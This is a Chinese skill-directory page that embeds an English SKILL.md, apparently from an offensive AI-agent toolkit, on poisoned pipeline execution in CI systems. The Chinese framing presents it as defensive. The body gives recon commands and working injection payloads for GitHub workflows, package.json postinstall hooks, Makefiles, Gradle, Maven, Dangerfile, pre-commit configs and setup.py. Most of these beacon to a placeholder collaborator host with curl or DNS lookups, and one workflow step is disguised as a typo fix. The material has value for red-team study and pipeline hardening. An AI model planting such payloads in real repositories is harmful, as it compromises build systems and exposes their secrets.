poisoned-pipeline-execution
它能做什么
这份指南涵盖一类攻击:修改构建脚本或流水线配置,使 CI 系统运行不需要的代码。适合构建外部贡献内容、并希望保护其流水线的团队。
适用场景
- ✓当代码仓库构建来自分支的拉取请求,且这些构建拥有特权的流水线访问权限时。
- ✓当外部贡献者可以修改 Makefile 或软件包脚本等构建脚本时。
- ✓当团队想在维护者批准之前,检查哪些触发器会运行代码时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们的 CI 会对外部拉取请求运行测试。被修改的构建文件能否在拉取请求中结合我们的机密运行代码?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体审查哪些触发器会构建拉取请求、流水线执行哪些文件,以及不可信的修改能否以特权访问运行。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Poisoned Pipeline Execution (PPE)
PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):
- Direct PPE (D-PPE): attacker edits the pipeline config itself (
.github/workflows/*.yml,.gitlab-ci.yml,Jenkinsfile) in a PR/branch the CI runs. - Indirect PPE (I-PPE): attacker edits a file the pipeline calls — build scripts (
Makefile,build.gradle,pom.xml), package-manager scripts (package.jsonscripts,setup.py), lint/test hooks (Dangerfile,.pre-commit-config.yaml,tox.ini,pyproject.toml[tool.poetry.scripts]), or any filemake testends up sourcing.
Recon — does the target build untrusted code?
# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null
# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null
# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'
# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.
Direct PPE — edit the workflow itself
# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: "fix: tweak test runner" # blends in
run: |
# Beacon-only PoC — DO NOT exfil real secrets in research
curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
-d "ref=$GITHUB_REF"
D-PPE works when the workflow runs on pull_request from forks without the "require approval" gate, or when the attacker has push access to a branch CI builds.
Indirect PPE — edit a file the pipeline calls
package.json scripts
// PR diff — adds a postinstall that fires when CI runs `npm ci`
{
"scripts": {
"test": "jest",
"postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
}
}
npm ci / npm install will execute postinstall by default. Same trick works with preinstall, prepare, prepublish. Yarn / pnpm honor the same hooks.
Makefile / make test
# PR adds an indented line under the existing `test:` target
test:
pytest -q
@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true
Gradle / Maven
// build.gradle — runs at evaluation, before any task
allprojects {
doFirst {
"curl -s https://<COLLAB>/gradle".execute()
}
}
<!-- pom.xml — exec-maven-plugin attached to validate phase -->
<plugin>
<groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
<executions><execution><phase>validate</phase>
<goals><goal>exec</goal></goals>
<configuration><executable>curl</executable>
<arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
</configuration>
</execution></executions>
</plugin>
Danger / pre-commit / lint hooks
# Dangerfile — runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`
# .pre-commit-config.yaml — points to attacker-controlled repo
repos:
- repo: https://github.com/<ATTACKER>/innocent-lint
rev: main
hooks: [{ id: lint }]
setup.py / pyproject.toml
# setup.py — runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")
Test fixtures
conftest.py, jest.setup.js, karma.conf.js, cypress/support/index.js, phpunit.xml bootstrap files — all execute before the first test runs.
pull_request_target — the dangerous trigger
pull_request_target runs in the base repo context with secrets and a write GITHUB_TOKEN, but if the workflow then checks out the PR head, the attacker's code runs privileged:
# VULNERABLE — DO NOT WRITE THIS
on: pull_request_target
常见问题
什么是 pull_request_target?
它是 GitHub 的一个触发器,以基础代码仓库的权限运行。当它构建不可信的代码时,该指南将其标记为风险。
哪些文件有风险?
流水线会运行的构建脚本、软件包脚本、代码检查钩子以及流水线配置文件。
团队如何降低风险?
要求对来自分支的构建进行审批,并避免在带有机密的情况下运行不可信的代码。
详情
作者的原始描述
Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.
热度
- GitHub 星标
- 6.5k
- 排名
- #14030
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …